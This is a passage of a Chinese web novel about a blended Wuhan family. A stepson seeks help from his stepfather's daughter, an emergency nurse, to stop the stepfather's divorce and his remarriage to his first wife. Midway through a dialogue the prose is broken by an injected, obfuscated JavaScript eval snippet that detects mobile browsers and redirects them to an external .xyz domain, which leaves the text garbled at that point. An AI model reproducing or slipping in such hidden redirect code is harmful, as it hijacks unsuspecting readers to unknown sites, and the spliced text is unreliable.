下着雨的夜晚,生意很一般,冯鹃择着香菜,跟儿子聊别的:“小蒋知道我们家怎么个情况吗?” 秦飞说:“刚有点苗头我就说了,我家是组合家庭,父母之前都有一段婚姻,家里有个弟弟才11岁。” 秦飞不卑不亢,落落大方,蒋馨月对他好感增多,她就想找个顺眼又谈得来的,对方的家境她不太在意,不给人添负担就好。当时她笑问:“你比弟弟大那么多,是不是有点长兄如父的意思?” 秦飞心里轻松了些,虽然把家庭条件明晃晃地摆出来不浪漫,但蒋馨月家境不俗是事实,有些话他必须诚恳地说。 说出来的都是大实话,但秦飞隐瞒了一个事实,他爸秦刚在大牢里。冯鹃问:“你爸的事,你没说吧?” 秦飞对他和蒋馨月的未来并没有信心:“想说,不敢说。” 冯鹃长叹:“社会上有些歧视,你改变不了,我死都不想离婚,不光是为了我一个人,我还得替你和杰杰想一想。尤其是你,这几年肯定要结婚,一见家长,很多话你都不好说。” 秦飞不语,他想过要对蒋馨月坦白,但难以启齿。他爸秦刚当年初中毕业在家待业,恰逢一家建筑公司征了村里的地,他进去当油漆工,结交了一帮狐朋狗友,后来因为酗酒斗殴,被厂里开除。 秦刚先是在酒店当保安,但工资太少了,没少被冯鹃埋怨,继而被老乡介绍去□□放码,自己也染上了赌瘾。 秦刚长年累月不着家,冯鹃和柳志华偷情,意外怀了孕,心知绝不可能瞒过秦刚,去找柳志华商量结婚,柳志华不同意,冯鹃就一次次去找,被陈玉兰知道了。陈玉兰的两个弟弟打了冯鹃,冯鹃躲去姐姐家,不敢再露面,秦刚起了疑,摸过去一看,血气直冲头顶。 冯鹃报了警,她姐拦在她面前,警告他不能对冯鹃下手,闹出个一尸两命,就等着把牢底坐穿。秦刚不敢乱来,但柳志华让他戴了绿帽子,这可忍不下去,他酒一喝,堵上柳志华捅了刀。 柳志华被伤到肝脏,鲜血直流,秦刚跨上电动车就跑,黑灯瞎火,人一慌,撞到了一家三口,其中当爸的当场身亡。秦刚吓坏了,在朋友家里躲了两天,出门抢劫了几票,想跑路去广东,数罪并罚,被判了12年。 一旦和蒋馨月走到见家长的阶段,蒋家父母不可能不问家庭情况。冯鹃吸了吸鼻子:“换了我,我也不知道怎么说,说我亲爸撞死了人,还抢劫,在大牢里蹲着?你女朋友再喜欢你,家里也不可能同意。杰杰以后也不好办,要是老柳跟我离了,他就是单亲家庭的伢,很多人家嫌弃单亲家庭。” 秦飞回屋辅导柳俊杰功课,柳俊杰数学只错了一道题,认认真真地改完,跑去洗澡,出来卷起背心,后背冲着秦飞:“我手短,涂不到,你帮我涂。” 秦飞给弟弟涂完药,茫然地看着雨水从窗上滑落,像破碎的眼泪,冯鹃的顾虑,何尝不是他的顾虑。 蒋馨月的新店开张生意好,白天拍了十来组照片,她修完几组照片,召唤男朋友:“出来吃夜宵?” 秦飞拍了柳俊杰的作业簿发给她:“明天行吗?” 蒋馨月又笑说长兄如父,然而没人能取代柳志华在柳俊杰心里的地位。柳志华对女人来说未必是好男人,但他是柳俊杰的好父亲,养家糊口陪伴孩子成长,他称得上是模范。 语文老师布置关于插秧的作文,柳俊杰说没见过那景象,柳志华带他去看,顺路买些鱼虾回来,到家就是一桌好菜。别人笑话柳俊杰,他爸爸是个修空调的,柳俊杰说:“我爸不止会修空调,还会修电灯,修汽车,修下水道,他什么都会。” 柳俊杰后背的伤太疼了,只能趴着睡,秦飞开了空调,关上门。他走到阳台给柳志华打电话:“离婚的事,你能再想想吗?杰杰很可怜。” 柳志华沉默一瞬:“我对不起他,也对不起你妈。” 雨水让植物的气息更加宜人,秦飞出门去找蒋馨月。蒋馨月爱吃甜食,他带她去大学附近的西餐厅,那里的红丝绒蛋糕很美味。 喝着果汁,吃着蛋糕,蒋馨月看出秦飞有心事:“不如去喝酒?我知道有家烧烤店特别好吃。” 秦飞张了几次嘴,仍没办法对女朋友说出家事。但蒋馨月一再追问,他把故事套在大学时上铺兄弟身上了,他说有这么一个朋友,父母是小商贩,赚个温饱钱,他是父母避孕失败的产物,上头还有个快40岁还在打光棍的哥。有天这男人谈恋爱了,但女朋友家里很反对,不愿意独生女儿嫁给这种人家,拉低生活品质。 秦飞说的是十几年后的柳俊杰:“我朋友跟那女孩分了手,这几天找我借酒消愁,你怎么看?” 蒋馨月问:“他女朋友什么态度?” 秦飞回答:“拗不过家里,妥协了。” 蒋馨月叹息:“父母都六十多了,还有个没结婚的哥,女孩家里反对很正常,有点可惜。” 秦飞不语,蒋馨月靠在他肩头:“你是不是有点兔死狐悲?别担心,我爸妈很开明,只要我喜欢,他们就同意。” 落地窗外,夜雨滂沱,秦飞张了张嘴,仍然说不出他爸在蹲大牢的事实。从蒋馨月家小区出来,他路过617医院,雨幕中,夜灯闪烁,模糊遥远,他心念一动,去找柳漾。 秦刚抢劫入狱时,秦飞在念初中,抢劫犯儿子的身份压得他喘不过气来,冯鹃想让他跟柳志华姓,他不服软:“我爸再不好,柳志华也是个第三者,别想让我认贼作父。” 柳志华没多说,初三下学期,他把秦飞从网吧里拎出来:“要么被你同学说中了,将来也是个进大牢的货,要么给你老子争点气,以后不靠我养活。” 秦飞憋着一口气,中考后的暑假,他去工地上搬沙包,搬了一个多月,累瘫在地上。有天晚上他看到了萤火虫,它们围着一堆牛屎飞。他好像就是那天开始想明白了,从16岁就过这样的生活,不甘心。要发光,也得飞远点。 对冯鹃而言,柳志华是各方面都比前夫好的男人,但对陈玉兰,柳志华是背叛者。秦飞想起第一次和柳漾见面那天,她头戴小皇冠,激烈地反对她妈和她爸来往,兴许这次能和她成为同盟者。 秦飞走进617医院,他不知道柳漾是不是当班,但他想为弟弟努力一回。只要陈玉兰拒绝复婚,柳志华就还会把日子再糊弄下去。 雨夜的急诊中心忙得要命,挤挤攘攘都是人,有醉鬼喝多了呕吐,大厅气味难闻,还有人追尾受伤,楼道里交警站了几拨。 617医院是老医院,新的门诊大楼才刚刚奠基,急诊中心坐落在老楼里,拥挤得如同大卖场。治疗室连帘子都没有,几十个男女老少病人和家属们挤成一团,护工接大小便也不避着人,生了病,最多只能维持生命,却不能维持尊严。 走廊有很多加床,因为没有床头柜,仪器直接放在地上,接线缠成乱麻,不时有家属端着便盆或尿垫经过,秦飞穿过嘈杂的人群,找到柳漾。 一个婆婆赤着脚坐在病床上,柳漾席地而坐,把婆婆的右脚捧在手心,寻找她的静脉血管,秦飞站在门边,听到柳漾说:“婆婆,你长了三个灰指甲,要早点治啊。” 柳漾为婆婆完成静脉穿刺,病人家属伸手把她扶起来,她洗手消毒,交待注意事项,然后小跑去给人拔针,再飞奔去拿血,一边打电话通知值班医生下输血医嘱,核对输血信息,好不容易输上血,心电监护一个接一个报警了。 秦飞亦步亦趋,瞄到柳漾喘口气的机会:“你几点下班,我有事想找你谈。” 柳漾认出他,没好气:“明天早上。” 时间已过深夜11点,秦飞犹豫一下:“我等你稍微空一点吧。” “今天空不下来。”柳漾大致明白秦飞来做什么,无非是把柳志华扔出来,不好意思,她是不会接烫手山芋的。 下雨天事故多,柳漾忙个不停,秦飞阴魂不散地跟着她,若不是担心被人误会他是病人家属,柳漾烦得只想脱了这身衣服,一拳轰上让他滚蛋。 救护车又送来一人,是个高中生,他借朋友摩托车骑,没戴头盔,侧翻后脑袋撞到马路牙子,昏迷不醒,路人报了警。家属联系不上,但高中生耳朵里有少量血性液体,颅脑损伤引起的颅底骨折会伴有这种耳漏,情况很危险,科室副主任王伟明给他先办暂欠,开通绿色通道,进行生命体征测量。 高中生进了手术室,柳漾摘下口罩透气,秦飞总算逮到谈话机会了,递过一瓶饮料:“就耽误你五分钟时间。” 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婆婆恨恨地甩开他的手,追上担架车。孕妇被送进手术室,高中生手术还没做完,他父母都来了,柳漾带他们办理手续,秦飞跟上,柳漾语速飞快,先告知情况不容乐观,再安抚他们:“主刀医生是我们医院神外一把刀。” 秦飞有点意外,柳漾语气很温柔,好像之前跟孕妇家属吵嚷的人不是她。柳漾看到他,也有点意外,哼了一声:“你还没走?” 秦飞说:“我特地来找你,是认真跟你商量事情。” 柳漾冷笑:“你出现就没好事,先跟我道歉。” 秦飞愣了:“道什么歉?” 柳漾跑来跑去,喝口水都咕嘟咕嘟急急忙忙,见缝插针跟秦飞说上一两句,秦飞才晓得她结婚那天,自己给她惹了麻烦。他揍了她二舅,她二舅妈扭头就去她婆家那边闹场,柳漾说:“你要打就打柳志华,打我妈那边的亲戚干吗?” “我替我妈报仇。”秦飞说出原因,柳漾一愣,她两个舅舅打得冯鹃差点小产,这件事她闻所未闻。 “那时候我们都还小,大人不会跟我们说,我去揍那两人,没想到会连累你,我道歉。”秦飞话说得诚恳,但柳漾没听完又跑了,路人冲进来求救,马路对面有人晕倒,她和宋青等同事拖着平车冲出去。 外面下着雨,她们都顾不上打伞,秦飞抓过自己的伞追上去。柳志华在家跟冯鹃闲谈时,他听到过几句,大意是担心女儿在婆家吃苦头,婆婆是个眼高于顶的小市民,看不上她,他方才听到柳漾说二舅妈去闹场,心头一咯噔,那位婆婆一定对柳漾有意见。搁往常他未必能想到这些,但是如今他和蒋馨月谈恋爱,他能明白柳漾的处境。 雨下得大,昏迷者是个出租车司机,行驶途中突发心血管疾病,栽倒在方向盘上,乘客跳车自救,路人们帮忙控制住了车辆。 事发地就在617医院附近,柳漾等人赶到,司机已经没了呼吸和心跳,护士们推着司机往医院跑,医生为他做心肺复苏,秦飞一路为他撑着伞,一齐跑回医院里。 医生在奔跑中听诊器滑落,秦飞弯腰拾起,追上医生,斜刺里忽然跳出一名男子,举刀划来,说时迟那时快,柳漾迅速拨开面前的秦飞。 地上有雨水,两人一起摔倒在地,医生也被绊倒了。柳漾坐起来,按住了左胳膊,男子的□□刮伤了她。男子发狂,挺身再刺向医生,保安和众人都反应过来,七手八脚按住他,目睹的病人和家属纷纷报了警。 柳漾的胳膊渗出血,秦飞扶起她,问:“什么情况?” 柳漾身经百战:“要么精神病人,要么是家属。” 秦飞扶着她落座:“谢谢,对不起。” 沈维跑来帮柳漾处理伤口,男子那一刀很重,柳漾胳膊上的肉都翻出来了,上药时她疼得拧眉,秦飞说:“真对不起,我请你吃饭吧。” 柳漾疼得烦心:“你把老柳拦住,我就谢谢你啊。” 伤口包扎完毕,有人按铃要拔针,柳漾风风火火又跑了,秦飞才知道在急诊中心就不可能有正经谈事的时间,他挤到柳漾跟前说:“我们的目标一致,今天多亏你帮我,先不打扰你了,改天再答谢你。” 秦飞离去,沈维和宋青都问柳漾:“他谁啊,怎么回事?” 柳漾被问住了。秦飞是为柳俊杰而来,他说柳俊杰是他弟弟,她突然意识到,那个小孩也是她弟弟,她笑了一下:“柳志华的熟人。” 秦飞天天和柳志华生活在一个屋檐下,可不是熟人吗?病人的呼吸机报警响起,柳漾投入到新一轮救护中。 行凶男子被警察带走,两天前,他儿子突发急病,刚送到急诊中心,患儿心跳就停止了,医生和护士依然按照相应的流程抢救,做好每一步抢救程序,但患儿最终没能救活。 孩子才两岁半,男子迁怒了医生,医生被他捅到腹部,幸好无大碍。后半夜,患有心血管病的出租车司机经全力抢救,恢复了自主呼吸,转入重症监护室。孕妇则平安产下男婴,骑摩托车的高中生颅内血肿清除,但还没脱离危险,将在ICU观察三天以上。 清晨时分,雨停了,柳漾下班,吃早餐时,她才有空想想秦飞说的话。一个月前,这人还巴不得把柳志华往外推,居然改变了主意。一定是柳志华去意坚决,才使得秦飞拉下脸来和她合谋,可惜她没办法,陈玉兰铁了心要复婚。 寄望于冯鹃拦住柳志华,看来是落空了。柳漾想得头疼,伤口也在疼,吞了一颗止疼药。但细想秦飞言之有理,只要陈玉兰反悔,他确实还能继续跟冯鹃过日子,毕竟柳俊杰还小。 7. 第 7 章 秦飞几乎没睡着,柳俊杰早起上学,他跟着起来:“这段时间我送你上学放学。”在校门口,秦飞又揍了段文轩几拳,“你打我弟,我打你,你笑话我弟,我还打你。” 打完人,秦飞去上班。他读初中时,有人肯帮他打几架就好了。下午,冯鹃给他发消息:“你爸去接杰杰了,你好好上班。” 秦飞下班回来,冯鹃说柳志华在跟柳俊杰谈心,段文轩被连打两次,不服气,给同学发了红包,还说每天发一个,于是班里的男生女生集体孤立柳俊杰。 原本每天放学一起回家的几个同学都不理柳俊杰了,只有住隔壁小区的徐启航仍和柳俊杰说话,在这之前,他并不是柳俊杰最要好的朋友。 徐启航说:“明明是段文轩不对,他发红包说明他心虚,我才不会被他收买。” 柳俊杰借徐启航的手机给冯鹃发信息:“我是杰杰,别让哥哥来接我了。” 柳志华去了柳俊杰学校,在对面街上看到他和徐启航上了公交车,暗暗跟了回来。柳俊杰带徐启航去批发站,请他吃冰棍,徐启航道别回家,柳俊杰低着头,闷闷不乐,柳志华喊住他。 回到家中,柳俊杰说:“启航还和我做朋友,我很高兴,可是连晨宁都被段文轩拉拢走了,我很失望。” 柳志华告诉他:“人不需要太多朋友。等你长大就明白,大多数人都只是熟人,爸爸活到五十岁,也只交到两三个朋友。” 柳俊杰问:“这么少?” 柳志华说:“不少了。真朋友是很珍贵的,既然珍贵,那就不可能太多,物依稀为贵,对吧。” 他们关着门,在里屋吹空调,秦飞在门边站了片刻。秦刚入狱,他也几乎被所有同学孤立,还被人霸凌过,但那时他能跟谁说?他妈怀着孕,满脑子都在想怎么跟柳志华结婚。他后来跟初三年级的几个混混玩到一起,因为那几人在他被人打的时候,为他打抱不平过。 班里有几人仍愿意和秦飞说话,他没有珍惜,他仇恨整个班级整个世界。当时若有人告诉他这些,或许他有和他们做朋友的机会。数年相处下来,会是一生的朋友吧。他不知多羡慕那些有发小的人。 柳志华开导了半天,拧开门出来,秦飞劈头一句:“我去找过柳漾。” 柳志华吃惊,秦飞又说:“你给个面子,我是真有话跟你说。” 在摊上吃完饭,柳志华和秦飞各自找了工作借口撤了。柳志华把秦飞的车开到长江大桥边上:“上去走走?” 秦飞望过去,桥上车水马龙,两侧人行道散步的人很多,他走过去。既然是他有事相求,态度得友好些。 傍晚下过雨,晚风凉爽,江边夜灯绚烂,两人一前一后地走着,柳志华像跟寻常朋友谈天似的,忆起旧事。他十几岁的时候,还生活在老家团风县,每每有熟人来武汉出差或走亲戚,都会被人问是否在大桥上拍过照。 团风始于唐代,是个历史悠久的小地方,它地理位置奇特,万里长江至此一分为三,左江、右江与中江将两个大沙洲紧紧环抱,常有船只泊在此处避风,故名“团风”。柳志华说:“我这一辈小时候听过很多关于大桥的传说,来武汉到大桥上走一遍,看看长江,就像个仪式一样。你是土生土长的本地人,可能感受不到。” 武汉长江大桥是古往今来横跨长江的第一座大桥,1957年竣工通车,被世界视为伟大工程,秦飞知道大多数本地人对大桥的感情比对黄鹤楼深,但柳志华说长江大桥和黄鹤楼在他心里是一体的。 当年,团风到武汉坐长途汽车也就两个小时,但柳志华却是当兵入伍时才第一次路过。那年他19岁,和战友们坐车赴湖南常德当兵,途经长江大桥,全车人都赞叹大桥雄伟,赞叹黄鹤楼比电视上看到的气派。 秦飞张望黄鹤楼,看不出所以然,从小到大,他已熟视无睹。柳志华问:“你上去过没有?” 秦飞说:“看到就行了,一般外地游客才会上去吧。” 柳志华当兵时路过大桥是夜晚,衬着明月,黄鹤楼很好看。多年后他和冯鹃上去过,没多大意思,但是到了晚上,它又有意思了,而且越是秋风萧瑟,越是寒雨夜里,它就越有看头,他一直不知道为什么。 有次柳志华跟战友聚会,一个战友说江水日夜奔流不息,吵得黄鹤楼不得安生,夜深人静时,你悄然走过,就能听到它的叹气声。 秦飞笑了起来:“这个说法有点意思。” 柳志华趴在栏杆上看长江:“所有战友里边,乐世华最爱说笑,我只当他开玩笑,有天下了雪,晚上从江边经过,突然想起他说的这话,一下子就懂了。” 冯鹃读到高一,论学历比初中就辍学的柳志华强,但她不止一次说柳志华爱看书,有文化,秦飞不以为然,他回头去看黄鹤楼,看不出名堂,柳志华又说:“飞飞,要是我每天都在家叹气,你也不爱听吧。” 黄鹤楼在叹气,有了人味,你觉得亲近,因为那是你的心声,你和黄鹤楼互相明白。秦飞听懂了继父七弯八扭的表达,俯看脚下湍急的长江。江涛很吵,黄鹤楼被吵得睡不好,很可怜,他妈就不可怜了?他心头火起:“你跟我妈过了十几年,她凡事都迁就你,哪次吵架不是她先算了?” 柳志华对他推心置腹:“我老家把外出务工称为讨活路,我十几岁出来到现在,才勉强混口饭吃,要是能多赚点钱,对你妈,对你,对杰杰都能有个交待。飞飞,我不想不负责任,可惜只有这点能力,泥菩萨过江,自身难保,跟你妈在一起这些年,我尽力了。” 但也到此为止了。他把话说到这份上,秦飞没办法再逼他,只能问:“十几年都过来了,为什么突然下定了决心?” 柳志华苦笑了一下,迎着黄鹤楼慢慢向前走:“武汉发展得很快,我在你这个年龄,江边不如现在繁华,拆拆建建几十年,黄鹤楼也修修补补几十年,可能会在江边站一千年,我活不了那么长,但是它走不了。” 黄鹤楼最早兴建于永泰年间,兵火频繁,它屡建屡毁,屡毁屡建,现在这座是1981年重建的,长江大桥引桥时占了它的旧址,它早已不是诗人吟唱的那个黄鹤楼了,但秦飞听得懂柳志华的意思,他想走,他在求饶。 秦飞恨从心起,但无可奈何。若这人不是他弟弟的爸,他根本懒得多说。一个男人管不住自己,勉勉强强跟外遇结了婚,熬了十几年,不想再熬下去,这是人之常情,可怜可悲的人之常情。他咬着牙说:“我看柳漾的态度,她反对你和她妈复婚。” 柳志华说:“她有她的小家庭了,我和她妈保证不给她增添负担。” 秦飞说:“我妈死也不答应的话,你怎么办?我警告你,不能闹大,不要影响到杰杰。” 柳志华叹道:“我计划好了,等杰杰放暑假再和你妈分开。飞飞,我老了,你妈也老了,以后你是一家之主,你多开导开导他们。我负不了责,也做不到面面俱到了。” 这人口口声声不负责任,无耻又坦荡,秦飞怒火又起,揪起他的衣领,柳志华不闪不避,好像被打上几拳,让秦飞出出气也好。 这负心汉被两边夹击,被禁锢,被无形绑缚,最近都瘦得脱相了。秦飞松开手,哪怕是在帮他妈,帮他弟弟,对一个负心汉苦苦哀求,也挺丢脸。柳志华往前走,他往回走,开车走人,后视镜里,黄鹤楼越来越远。 经过617医院,秦飞再次去找柳漾,柳漾拉了他一把,自己负了伤,他承她的人情。但柳漾轮休,秦飞没能见着她,不过以病人的家属身份,他很容易就问到柳漾的上班时间,无论如何,他得答谢她。柳志华再不是东西,柳漾其实同样是受害者,他心里明白。 柳漾听说秦飞专程跑去617医院,心知那边越演越烈,趁休息日,她回家继续劝她妈。陈玉兰说:“你总往家里跑,你婆婆不好想吧?” 柳漾说:“我管她好不好想,我不往家里跑,她照样对我有意见。” 陈玉兰说:“那也不能破罐子破摔,你们在一起住,面子上还得过去。” 柳漾拉下脸:“你跟柳志华复婚,才叫破罐子破摔。” 陈玉兰默不作声回厨房,灶上煨着筒子骨山药汤,柳漾被患者家属刺伤胳膊,她心疼,到小区边上的超市买这买那,非要给女儿补一补不可。 柳漾跟进来,陈玉兰问:“东南怎么说?” 柳漾不以为意:“他让我请假,没必要。皮肉伤,不影响上班。我结婚休假,同事替我顶了班,这点小伤总不能还请假吧。” 陈玉兰问:“你婆婆这两天没给你做点吃的?” 柳漾笑一声,张玢看到她的伤,只问:“你没找那个人要医药费赔偿?” 柳漾答道:“听说他欠了一屁股债,张医生伤得重多了,也没办法。” 张玢问:“你们院里也不表示表示?” 柳漾敷衍道:“应该会发点抚恤费吧。” 张玢关心的只有这些,赵东南不会做饭,去附近一家粤菜馆打包了汤水,还送了柳漾一双鞋给她压惊。那鞋不便宜,柳漾在商场一见钟情,想买来当婚鞋,没舍得,赵东南要买,她硬拉着他走了,赵东南这次买了一双白色的,售货员说适合日常穿着,百搭。 吃完午饭,陈玉兰催柳漾回家,柳漾偏不走,收拾着碗筷:“妈,那女的跟前夫生的儿子去找过我。” 陈玉兰一怔:“秦飞?” 柳漾说:“跑到我们医院了,求我劝劝你。他说他弟弟还小,爸妈离婚他很可怜,大概是怕他有心理阴影吧。” 陈玉兰把碗筷都放进水池里,自来水冲刷着油渍,她看了一阵,垂下眼皮:“那伢是你爸跟别人生的,我不可能为了他,就不考虑自己,一般人也做不到那么伟大。冯鹃既然选择生他,就要为他负责。” 柳漾问:“柳志华是他爸,他连他儿子都不肯负责到底,你凭什么觉得他回来了,就能对那边不闻不问,只对你负责?” 陈玉兰洗着碗,头也不抬:“我已经看开了。那伢想他爸,想来看看就来看看,我也不是不通情达理。” 陈玉兰固执己见,对复婚志在必得,柳漾很无力:“妈……” 陈玉兰语气很郑重:“要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563462|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是以前,我让你爸看在你的份上不离婚,只要他拿钱回来,我就对他在外面睁一只眼闭一只眼,等你长大了,一样要怪我想不开。漾漾,我今天跟你交个底,我是想不开。左右都是想不开,我就选个让我心里好受点的,我就是想让你爸回来。” 柳漾急眼:“柳志华年轻时没良心,让你过得不容易,现在玩不动了,才跑回来找你,妈,你不能鬼迷心窍!” 陈玉兰说:“漾漾,我以前以为,离婚了,就各走各的路,但我做不到,你爸也做不到,所以才做出这个决定。就算你觉得我错了,我也愿赌服输。我和你爸商量好了,是好是歹都是我跟他的事,绝不给你惹麻烦。” 柳漾做最后一搏:“老柳为那种女的就离开你,伤你的心,现在他跟那边离婚有阻力,可能闹个没完没了,你保证你不会再怄气伤心?” 陈玉兰沉默以对,柳漾以为她动摇了,脸上一喜,但陈玉兰开口说的却是:“你要是儿子,他那时候可能没那么容易离婚吧。” 柳志华和冯鹃生的是儿子,也许这就是他义无反顾离婚,陈玉兰也放手成全的缘故,柳漾遭受当头一棒,心瞬间就冷了。这一刻,可怜人不是柳俊杰,而是她自己。她一再劝阻,不仅没劝服陈玉兰,反而自取其辱。 小时候的暑假,柳漾常常去货运部帮陈玉兰做点零碎杂活,陈玉兰怕她闪了腰,不让她扛东西,那时就说过:“你又不是儿子,搬不动。” 她以为她妈随口一说,但柳志华出轨离婚,她妈怪上了自己,也怪上了女儿,她没精打睬地拎着包走了。 陈玉兰没有挽留女儿,柳漾回家,在书房里看书备考,努力把糟心事都抛在脑后。直到楼下响起动静,她才发觉没做饭,再一看,手机没电,自动关机了。这只手机用了三年多,越来越不好用,她想等刀伤抚恤金发放了,添点钱买个新款。 张玢进门喊:“漾漾,漾漾?” 柳漾正蹲在地上找插线孔充电,没来得及应答,听到张玢跟赵捷成发牢骚:“结了婚心还是野的,一下午找不到人!” 柳漾竖起耳朵听,张玢语气很不耐烦,让赵捷成跟儿子谈谈,儿媳妇上班忙,下班还跑得没个人影,还不肯生孩子,家里是娶媳妇,不是供菩萨。赵捷成埋怨她对柳漾太苛责,她在备考,可能在图书馆看书,张玢就更来气了:“她就读了个水货大专,评上职称也多不了几个钱。” 赵捷成说:“不是钱的问题,年轻人上进是好事,晋升总要一步步来。” 张玢说:“晚上东南回来我就跟他说,他马上三十了,他同学的伢都上幼儿园了,他不能什么事都听漾漾的。你也帮着劝一下,生伢跟考试同时进行,她一边坐月子一边学习,伢生了,职称也考了,我们再帮着挖点路子,把她调到不大忙的科室。” 柳漾暗笑,赵家父母是普通人,有这能耐就好了,不过是哄她早点生孩子的口头承诺,作不了数。 赵捷成不快:“儿媳妇生伢这种事,我怎么跟她说?” 张玢往楼上走了,柳漾趴在书桌上装睡,果然,张玢拧开卧室的门,没看到她,转而推开书房的门。 张玢连着喊了好几声,柳漾才揉着眼睛“醒转”,惺忪着声音:“妈?” 张玢说:“跟你发了几条信息都没回,还以为你在外面。” 柳漾按开手机:“哎呀,没电了。” 张玢下楼:“菜准备好了没有?” 柳漾假客气了一下:“我来洗吧。” 张玢看她手臂一眼:“伤没好,歇着,陪你爸看看新闻。” 赵捷成最近追看一部抗战剧,柳漾陪他边看边闲聊,赵捷成只和她讨论几句剧情,不说别的。 夜里,赵东南洗完澡出来,柳漾为他按摩肩颈,故意问:“以后我生个姑娘,你妈摆脸怎么办?” 赵东南说:“她没这么封建吧,儿子姑娘都一样。” 柳漾嗤道:“那可不好说。可能表面不说什么,背地里使劲催你让我生二胎,还必须是儿子。” 赵东南笑:“儿子还是姑娘,又不是你一个人说了算,她怪不到你头上。她怪你,我就翻脸。” 连亲妈都嫌自己不是儿子呢,柳漾心一疼,脸上现出愁色,赵东南以为她在为以后发愁,打开网上银行给她看余额,他最近又攒了点钱。 赵东南待的区电信公司说出去算是好单位,但工资奖金平平,年终奖也就几千块钱,老员工们都说十几年前这个数,如今还这个数。连着几年都有同事跳槽去民营企业,薪水和年终奖都比电信公司高,但几乎全年无休,平日也很少能按时下班,赵东南想过辞职,可一家不能两人都忙,柳漾黑白颠倒,他最好稳定点。 赵东南不抽烟不喝酒,对穿戴也不讲究,没有很花钱的个人爱好,就看点商业大片,打打网游,平时花销不大。他和柳漾的存款和彩礼嫁妆凑在一起,本小区的普通三居室能付三成首付了,但父母在徐东片区那个老破小在赵东南名下,再买就是第二套,得凑够五成首付,柳漾考虑到还有后续房贷之类的问题:“我们再存存钱。” 8. 第 8 章 星期六,秦飞睡懒觉,柳俊杰抓着书包去了客厅。家里没有单独的书房,餐桌就是柳俊杰的书桌。柳志华给柳俊杰辅导功课,冯鹃催他出门工作,秦飞半睡半醒,听到柳志华说:“杰杰月底就期末考试,我帮他突击一下,飞飞谈朋友了,不能老把飞飞关在家里。” 秦飞洗漱完毕,一根筷子戳起盘子里的糯米鸡吃,冯鹃用吸管戳开豆浆递给他:“老柳想买牛肉面,怕你半天不起来,面都坨了。” 冯鹃又是早上4点多起床,秦飞赶她去补觉:“老柳今天都在家吧?中午我和老柳做饭,不用你操心,你睡到下午饿了再起来吃。” 柳俊杰的作文题目是《记一件让我感动的事》,他想写徐启航,但不知从何着手,柳志华点拨他:“可以从他是个怎样的人写起,写写他的外貌特征,兴趣爱好……” 秦飞去找蒋馨月,每到周末,她的店里就很忙,有时一天要接待几十家拍摄亲子照片的人。有个小女孩刚满周岁,粉嘟嘟的极其可爱,她有点害怕镜头,秦飞逗得她咯咯笑,蒋馨月连连抓拍,有几张秦飞和小女孩的合照她特别喜欢,小女孩的父母也满意,同意她放大做成海报。 秦飞客串了打光师,还买来下午茶犒劳蒋馨月和同事,蒋馨月揽住他脖子说:“这么会哄孩子,干脆每个周末都来,给你兼职费哦。” 秦飞亲她:“不拿提成,每个周末就不能来吗?” 蒋馨月说:“男朋友也不能随意使唤吧。” 秦飞怎么可能要女朋友发奖金:“能啊,不然怎么能叫男朋友。” 蒋馨月认真跟他掰扯,越是亲密关系,越要讲究边界感,恋人也好,亲人也罢,都不能予取予求。秦飞一怔,他想也许自己对冯鹃就失去边界感了,冯鹃和柳志华的婚姻在他看来再闹心,那也是他们之间的事,他只是儿子,不是当事人。 “不用给我兼职费,你单独开个户头,算以后我俩的旅游经费。”秦飞和蒋馨月达成共识,夜里回自家摊位,冯鹃一个人在忙碌,柳志华给柳俊杰辅导了一整个白天的功课,又接单去了。 秦飞帮冯鹃干活,慢慢把话头扯到黄鹤楼上,冯鹃主动说:“我和老柳上去过。” 冯鹃和柳志华是二婚,没办婚礼,两人扯证时,冯鹃肚子已经很大了,生下柳俊杰快三个月,她肚子才缩回去一些,拉着柳志华去拍照。 冯鹃和秦刚结婚时还不流行穿婚纱,这次她想拍,但去店里一问,太贵了,划不来,柳志华找同事借相机,带她走遍武汉三镇名胜古迹,拍了很多照片。 到了黄鹤楼,冯鹃来了兴致:“我们武汉最出名的景点,我一天看它好几遍,从没上去过。” 登上黄鹤楼,冯鹃高兴得吟上了诗:“黄鹤一去不复返,白云千载空悠悠。” 黄鹤楼上有电梯,往来游客有人抱怨是败笔,跟古老建筑不配套,不伦不类的,冯鹃插句嘴:“为残疾人和行动不便的人提供了方便,我觉得蛮好的。” 柳志华对这句话记忆犹新,前几天,在长江大桥上,他跟秦飞说:“你妈说,她年轻时候开公汽,每次看到残疾人上下车,她都很紧张,还有孕妇啊,拄拐杖的,推婴儿车的,摔着磕着就麻烦了,后来无障碍公汽投入使用,她特别高兴。” 柳志华是个恋旧的人,他记得战友聚会时开过的玩笑,也记得冯鹃说过的话,他说:“你妈那人,外表是粗了点,心好,我是亏欠她。” 秦飞赌气道:“知道亏欠她,还离婚做什么。” 柳志华说:“人都自私,不想亏欠她,更不想亏欠自己。” 大桥长谈那天,秦飞问出整件事的来龙去脉。开始是已婚男女偷情不假,冯鹃怀孕三个多月才告诉柳志华,柳志华让她去引产,她不同意,直接跑去找陈玉兰。 陈玉兰的两个弟弟打得冯鹃差点小产,继而是秦刚对柳志华捅了刀,出轨的男女都付出了代价。 偷情是欢愉,结婚是另一回事。柳志华忏悔,陈玉兰伤心,但愿意再给他机会。然而随后秦刚抢劫被抓,冯鹃肚中孩子月份更大,她又是高龄产妇,流产有风险。 柳志华离婚再娶,是形势所迫。这十几年来,他和冯鹃大体上相安无事,但不那么心甘情愿结的婚,总有天会爆发。柳志华不肯说爆发的原由,但凡事就怕比较,柳漾的婚事让他频频和前妻走动,旧梦重温,何尝不能成为理由? 秦飞自嘲地想,柳志华连19岁时黄鹤楼外那一轮明月都记得,何况是年轻时的发妻。自己对柳志华的去留想法都能推翻,柳志华为何不能推翻一段半推半就的婚姻?没别的,他就是后悔了,后悔得形销骨立的,冯鹃每天都强迫他多喝点排骨汤,他仍一天天现出了疲态。 